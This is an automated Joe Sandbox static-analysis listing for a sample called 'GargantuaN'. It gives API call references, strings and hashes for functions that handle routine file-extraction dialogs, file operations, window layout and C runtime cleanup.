Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: f14e387f2a8cf900f3438bff26e76ed79d7562fd71352a9f6e19a834965d207f
Instruction ID: e4a417e534e2cc7a9734044c7ca63f5c49e8ad9ffc50e9a7b805d99d391f3322
Opcode Fuzzy Hash: f14e387f2a8cf900f3438bff26e76ed79d7562fd71352a9f6e19a834965d207f
Instruction Fuzzy Hash: A8A011300A020A8A8E002B30CA0800C3B20EB20BC032002A8A00ACA0A2CB22880B8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00D6AE72,C:\Users\user\AppData\Local\Temp,00000000,00D9946A,00000006), ref: 00D6AC08

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: e0154d84aef644fc8507bd0f16078253df08700a8c7c82b6e57a408c22318c15
Instruction ID: f34233fb5fdd3453f061d68fc69d6d6fee2d7968efe9f9e3f4faa8c502a7f258
Opcode Fuzzy Hash: e0154d84aef644fc8507bd0f16078253df08700a8c7c82b6e57a408c22318c15
Instruction Fuzzy Hash: 33A011302003008B82000B328F0AA0FBAAAAFA2F00F00C028A008C0230CB38C820AA20

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D6C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00D6C2B1
EndDialog.USER32(?,00000006), ref: 00D6C2C4
GetDlgItem.USER32(?,0000006C), ref: 00D6C2E0
SetFocus.USER32(00000000), ref: 00D6C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D6C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00D6C358
FindFirstFileW.KERNEL32(?,?), ref: 00D6C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D6C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D6C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D6C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D6C3D4
_swprintf.LIBCMT ref: 00D6C404

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00D6C417
FindClose.KERNEL32(00000000), ref: 00D6C41E
_swprintf.LIBCMT ref: 00D6C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00D6C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00D6C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00D6C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D6C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D6C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D6C509
_swprintf.LIBCMT ref: 00D6C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00D6C548
_swprintf.LIBCMT ref: 00D6C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00D6C5AF

Part of subcall function 00D6AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D6AF35
Part of subcall function 00D6AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00D8E72C,?,?), ref: 00D6AF84

Strings

%s %s, xrefs: 00D6C469, 00D6C58E
%s %s %s, xrefs: 00D6C3F2, 00D6C527
REPLACEFILEDLG, xrefs: 00D6C247

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 6481c4a584cb4c0d78f68fe896ed050f8e6cbb94e8435d8f7ae55b0f027b2ac0
Instruction ID: cd85c9d80e1d3feac193a5b595fa79a0865ff2ade09faf2d875b4be585c05c3a
Opcode Fuzzy Hash: 6481c4a584cb4c0d78f68fe896ed050f8e6cbb94e8435d8f7ae55b0f027b2ac0
Instruction Fuzzy Hash: 8E91B672158348BFD221DBA4DC49FFB77ACEB4AB40F044819FA89D6181D771E6088B72

Uniqueness

Uniqueness Score: -1.00%

Function 00D56FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D56FAA
_wcslen.LIBCMT ref: 00D57013
_wcslen.LIBCMT ref: 00D57084

Part of subcall function 00D57A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D57AAB
Part of subcall function 00D57A9C: GetLastError.KERNEL32 ref: 00D57AF1
Part of subcall function 00D57A9C: CloseHandle.KERNEL32(?), ref: 00D57B00

Part of subcall function 00D5A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00D5977F,?,?,00D595CF,?,?,?,?,?,00D82641,000000FF), ref: 00D5A1F1
Part of subcall function 00D5A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00D5977F,?,?,00D595CF,?,?,?,?,?,00D82641), ref: 00D5A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00D57139
CloseHandle.KERNEL32(00000000), ref: 00D57155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00D57298

Part of subcall function 00D59DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00D573BC,?,?,?,00000000), ref: 00D59DBC
Part of subcall function 00D59DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00D59E70

Part of subcall function 00D59620: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00D595D6,?,?,?,?,?,00D82641,000000FF), ref: 00D5963B

Part of subcall function 00D5A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A501
Part of subcall function 00D5A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A532

Strings

UNC\, xrefs: 00D57051
\??\, xrefs: 00D5702B
SeRestorePrivilege, xrefs: 00D56FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00D56FCC

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandle_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2821348736-3508440684
Opcode ID: a5232a352dd8835401875334ab4abbb21e26fe9e4f4740aa5321211be5c31a0a
Instruction ID: 57a05fc73a7793d7e244ff770976d450d3a1988a00ab27b735ee6c9d08661bfe
Opcode Fuzzy Hash: a5232a352dd8835401875334ab4abbb21e26fe9e4f4740aa5321211be5c31a0a
Instruction Fuzzy Hash: 3BC1A275904605AAEF21DB74DC42FEEB7B8EF04301F14455AFD5AE7282E730AA488B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D6F844
IsDebuggerPresent.KERNEL32 ref: 00D6F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D6F930
UnhandledExceptionFilter.KERNEL32(?), ref: 00D6F93A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3b20b2aa28e8ced556fcc33fd8fb09b540c12e464be3ff29f3746f28561c14ff
Instruction ID: 9afb0d6b3cf3de58e3d4c02b37532d67a053a4648d7437111743792ac14e3b0a
Opcode Fuzzy Hash: 3b20b2aa28e8ced556fcc33fd8fb09b540c12e464be3ff29f3746f28561c14ff
Instruction Fuzzy Hash: 1F312975D05319ABDB20DFA4D9897CCBBB8AF08704F1040EAE40CAB250EB719B858F64

Uniqueness

Uniqueness Score: -1.00%

Function 00D5E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D5E30E

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

Part of subcall function 00D61DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D91030,00000200,00D5D928,00000000,?,00000050,00D91030), ref: 00D61DC4

_strlen.LIBCMT ref: 00D5E32F
SetDlgItemTextW.USER32(?,00D8E274,?), ref: 00D5E38F
GetWindowRect.USER32(?,?), ref: 00D5E3C9
GetClientRect.USER32(?,?), ref: 00D5E3D5
GetWindowLongW.USER32(?,000000F0), ref: 00D5E475
GetWindowRect.USER32(?,?), ref: 00D5E4A2
SetWindowTextW.USER32(?,?), ref: 00D5E4DB
GetSystemMetrics.USER32(00000008), ref: 00D5E4E3
GetWindow.USER32(?,00000005), ref: 00D5E4EE
GetWindowRect.USER32(00000000,?), ref: 00D5E51B
GetWindow.USER32(00000000,00000002), ref: 00D5E58D

Strings

d, xrefs: 00D5E3F5
CAPTION, xrefs: 00D5E4BD
$%s:, xrefs: 00D5E302

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: d0e6282cdf514506b54f70eb2bc345f8dc5e28fc9139d6b90980fa34e561d9ce
Instruction ID: 375f3a218c19f0f92735b6b320c99022c4d5f160c403b4f4c943bc8234e762e9
Opcode Fuzzy Hash: d0e6282cdf514506b54f70eb2bc345f8dc5e28fc9139d6b90980fa34e561d9ce
Instruction Fuzzy Hash: 8F817071208301EFD714DFA8CD89A6BBBEDEB88705F04091DFE84D7250D671E9098B62

Uniqueness

Uniqueness Score: -1.00%

Function 00D7CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D7CB66

Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C71E
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C730
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C742
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C754
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C766
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C778
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C78A
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C79C
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C7AE
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C7C0
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C7D2
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C7E4
Part of subcall function 00D7C701: _free.LIBCMT ref: 00D7C7F6

_free.LIBCMT ref: 00D7CB5B

Part of subcall function 00D78DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?), ref: 00D78DE2
Part of subcall function 00D78DCC: GetLastError.KERNEL32(?,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?,?), ref: 00D78DF4

_free.LIBCMT ref: 00D7CB7D
_free.LIBCMT ref: 00D7CB92
_free.LIBCMT ref: 00D7CB9D
_free.LIBCMT ref: 00D7CBBF
_free.LIBCMT ref: 00D7CBD2
_free.LIBCMT ref: 00D7CBE0
_free.LIBCMT ref: 00D7CBEB
_free.LIBCMT ref: 00D7CC23
_free.LIBCMT ref: 00D7CC2A
_free.LIBCMT ref: 00D7CC47
_free.LIBCMT ref: 00D7CC5F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 6e46d100d08c5d218c27eb6e48073d7692accc72e08df999bc576140c37ad976
Instruction ID: f6e8fdbb03cfab1d5f7adb5d9cb33efcac401b688cbaa1a47b4a9e7c5ff97d92
Opcode Fuzzy Hash: 6e46d100d08c5d218c27eb6e48073d7692accc72e08df999bc576140c37ad976
Instruction Fuzzy Hash: 8C3109316106059FEB31AA39D84AB5A77E9EF10320F18E42EF55DD6192EE71ED80DB30

Uniqueness

Uniqueness Score: -1.00%

Function 00D6D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00D6D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00D6D6ED

Part of subcall function 00D61FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00D5C116,00000000,.exe,?,?,00000800,?,?,?,00D68E3C), ref: 00D61FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00D6D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00D6D720
GetObjectW.GDI32(00000000,00000018,?), ref: 00D6D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00D6D75D
DeleteObject.GDI32(00000000), ref: 00D6D764
GetWindow.USER32(00000000,00000002), ref: 00D6D76D

Strings

STATIC, xrefs: 00D6D6F3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 65f3ccd2f85aa6283979209a3c7b0f3259f5d58c94b13d0d40bf021c2a5abf81
Instruction ID: 8733a0a116e7ee4892a11aee6918ded12dad0f28645dd878e2178b4a4d0a7f64
Opcode Fuzzy Hash: 65f3ccd2f85aa6283979209a3c7b0f3259f5d58c94b13d0d40bf021c2a5abf81
Instruction Fuzzy Hash: 9F113632A40720FBE320BB74AC4AFAF765DEF00741F044220FA42E2191DB648F0556B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D796F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D79705

Part of subcall function 00D78DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?), ref: 00D78DE2
Part of subcall function 00D78DCC: GetLastError.KERNEL32(?,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?,?), ref: 00D78DF4

_free.LIBCMT ref: 00D79711
_free.LIBCMT ref: 00D7971C
_free.LIBCMT ref: 00D79727
_free.LIBCMT ref: 00D79732
_free.LIBCMT ref: 00D7973D
_free.LIBCMT ref: 00D79748
_free.LIBCMT ref: 00D79753
_free.LIBCMT ref: 00D7975E
_free.LIBCMT ref: 00D7976C

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9435c5709e14f1a42a1044a175eb747ad5d70df3d3523f7591520632abd0bf0b
Instruction ID: bf25079c88a655303ce0302b54acb94ac1570c2652279e0a0e472c546b9ee8a4
Opcode Fuzzy Hash: 9435c5709e14f1a42a1044a175eb747ad5d70df3d3523f7591520632abd0bf0b
Instruction Fuzzy Hash: F511B976150109BFCB11EF54C946CDD3B75EF14360B51A4A2FA0C4F262EE31DE50ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D72E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D72F50
___TypeMatch.LIBVCRUNTIME ref: 00D7305E
_UnwindNestedFrames.LIBCMT ref: 00D731B0
CallUnexpected.LIBVCRUNTIME ref: 00D731CB
_abort.LIBCMT ref: 00D731D0

Strings

csm, xrefs: 00D72E6E
csm, xrefs: 00D72EDB
csm, xrefs: 00D72F87

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 0ce62f3313c0cbbe3869b9b3cb29120ea53a728c91cf2ad918781af4f2eb055b
Instruction ID: 610e211813bd8ef89e1529de314aa42c8f4e4504cb2424349e2c74ff9fb9bb78
Opcode Fuzzy Hash: 0ce62f3313c0cbbe3869b9b3cb29120ea53a728c91cf2ad918781af4f2eb055b
Instruction Fuzzy Hash: 0AB14771D00249EFCF29DFA4C8819AEBBB5FF14310F58815AE8196B212E731DA51DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D56FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D56FAA
_wcslen.LIBCMT ref: 00D57013
_wcslen.LIBCMT ref: 00D57084

Part of subcall function 00D57A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D57AAB
Part of subcall function 00D57A9C: GetLastError.KERNEL32 ref: 00D57AF1
Part of subcall function 00D57A9C: CloseHandle.KERNEL32(?), ref: 00D57B00

Strings

UNC\, xrefs: 00D57051
\??\, xrefs: 00D5702B
SeRestorePrivilege, xrefs: 00D56FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00D56FCC

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: f6413bcdc1eeef1a9c492c6aacce3ce436ef3fdcf030a0c44733b86e4048959c
Instruction ID: e703ac4a71456649691fd21e1ff734bf0ae261ab678abdbc6cd4ac2933a9a0f1
Opcode Fuzzy Hash: f6413bcdc1eeef1a9c492c6aacce3ce436ef3fdcf030a0c44733b86e4048959c
Instruction Fuzzy Hash: 3E4114B1D08744AAEF20EB74AC82FEE776CDF04312F144455FE59A7182E670AA4C8731

Uniqueness

Uniqueness Score: -1.00%

Function 00D69711 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D69736
_wcslen.LIBCMT ref: 00D697D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00D697E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00D69806

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00D69760
utf-8"></head>, xrefs: 00D6976B
<html>, xrefs: 00D69755, 00D6978E
</html>, xrefs: 00D697B7

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: 6c7a4f020848ac046482518805fb91cebc3f045ae501b9253a0b1616dda575a2
Instruction ID: 5b6076c95d1a79f1d10f64c3cc70954b236b7e5269c4a75cdd25da6d9a2325c4
Opcode Fuzzy Hash: 6c7a4f020848ac046482518805fb91cebc3f045ae501b9253a0b1616dda575a2
Instruction Fuzzy Hash: 4F31F2325083127BE725AB249C46FAFB79CEF42720F18451EF505971D2FB749A0983B6

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

EndDialog.USER32(?,00000001), ref: 00D6B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D6B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00D6B650
SetWindowTextW.USER32(?,?), ref: 00D6B661
GetDlgItem.USER32(?,00000065), ref: 00D6B66A
